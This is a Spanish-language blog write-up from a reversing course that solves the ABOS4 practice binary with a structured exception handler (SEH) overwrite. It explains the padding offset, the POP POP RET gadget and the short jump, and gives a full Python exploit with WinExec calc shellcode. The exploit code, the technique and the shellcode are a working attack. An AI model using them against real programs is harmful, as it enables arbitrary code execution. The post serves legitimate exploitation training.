Ir al contenido principal

Iniciaci贸n a la t茅cnica de ROP

Resolucion 2 ABOS4 SEH

Buenas de nuevo,

Esta entrada es la continuaci贸n de la resoluci贸n del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.

Como tenemos una idea de como estaba compuesto el binario anterior, aqu铆 nos vamos a centrar en la construcci贸n del exploit.

Sabemos que debido a la caracter铆stica del SEH en x86, cuando se produce una excepci贸n se lanza el manejador de excepciones, y este est谩 compuesto por 2 campos:

  • Direcci贸n del siguiente SEH
  • Direcci贸n que se encarga de gestionar la excepci贸n.


Primer paso que debemos hacer, es provocar una excepci贸n en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tama帽o enorme hasta provocar la excepci贸n.
Con x32Dbg vamos a ver la direcci贸n que hemos machacado en el SEH chain y as铆 sacaremos el tama帽o de relleno que tenemos que introducir para machacar el controlador de excepciones:

Para construir el exploit usaremos python, ya que es mas sencillo su uso:

random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la direcci贸n que gestiona el SEH.

Miramos con x32Dbg la direcci贸n que se ha machacado y vemos que hay una distacia de 316 bytes entre la posici贸n de la variable var_a_machacar que pasamos como par谩metro al gets() y el next_seh.

Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.

payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....

Por las caracter铆sticas de SEH en x86, hemos visto que la cuando entramos en el c贸digo de gesti贸n de la excepci贸n, la direcci贸n del pr贸ximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la direcci贸n indicada en Dir_nextSEH.



Localizamos en la direcci贸n 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la direcci贸n que pondremos en Dir_SEHhandle y esto har谩 que ejecutemos lo que pongamos en la direcci贸n Dir_nextSEH que en nuestro caso sera:

0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara as铆 a ejecutar la shellcode que pongamos a continuaci贸n que esta detallada en una de las entradas anteriores del blog.



Por lo tanto nuestro exploit quedar铆a de la siguiente manera escrito en python:

from subprocess import Popen, PIPE
import struct
import random
import string


#Creamos el PAYLOAD

payload = 316 * b'A'  #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Direcci贸n del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Direcci贸n donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepci贸n.

#Lanzamos el payload creado:

p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()




Un saludo



Comentarios

Entradas populares de este blog

Iniciaci贸n a la t茅cnica de ROP

Buenas a todos, En esta entrada vamos a resolver el binario propuesto por el maestro con la protecci贸n DEP: Que previene de ejecutar el c贸digo que introducimos en el stack si se encuentra activada esta protecci贸n del binario. Para ver si un binario tiene la protecci贸n DEP (Data execution prevention) activa, p odemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                                 Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar tambi茅n si tiene alguna otra protecci贸n nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual. Vamos a ver todos los m贸dulos que componen el binario (Programa + librerias(dlls)) para ver si alg煤n

Radare2- Set de comandos b谩sicos

Buenas a todos y Feliz navidad lo primero. Entre mantecado y mantecado, y motivado por el curso de Ricardo Narvaja (CrackLatinos), me he decidido a publicar una entrada que es mas para m铆 que para el resto. Pero supongo que puede ser 煤til para otras personas, de ah铆 que lo ponga lo mas bonito posible en la web. Vamos a ver un "cheatsheet" con comandos 煤tiles de Radare2 y su funcionalidad, todo esto puede extraerse del --help de las herramientas, pero para los que como yo le gusta ir al grano y ahorrar el mayor tiempo posible, tienen esta entrada. RABIN2: rabin2 -I file_.exe --> Nos proporciona informaci贸n b谩sica del binario, como arquitectura, y las protecciones del binario como (nx,dep,aslr...) rabin2 -i file_.exe --> Nos muestra los imports del binario. rabin2 -e file_.exe --> Direcci贸n del Entry point. (Direcci贸n virtual y raw offset en el executable) rabin2 -zz file_.exe --> Muestra las strings rabin2 -g file_.exe --> Este comando nos muestr

Hack the Box Eat the cake!

Buenas de nuevo, retomo esto en un "ratillo" que he sacado para ir d谩ndole un poco de contenido al blog. Hoy nos ponemos con el resto Eat the cake! de HTB , ya que el otro d铆a me calent茅 e hice un par de retos para ver lo oxidado que estaba... La verdad que bastante! 馃槕 El fichero os lo pod茅is bajar directamente de la p谩gina, cuyo SHA256: bd2efc7a1b23885d88d401b2a1fa1d4b307f6efcd76ee0a7d9486f0a8b06e586 Bueno vemos a ponernos manos a las obra, es un ejecutable por lo tanto nos iremos a nuestra m谩quina Windows que tenemos preparada para este tipo de retos, y abrimos el archivo con el software PEiD para ver si esta empaquetado/ofuscado, pero vamos que ya os digo que s铆.                                       Vemos que PEiD nos dice que esta empaquetada con UPX 0.89.6 -1.02 / 1.05 - 2.90 --> Markus & Laszlo . Intentamos desempaquetar la muestra, usando UPX directamente con " upx -d" y tras desempaquetarlo, comprobamos si se  ha hecho de manera correc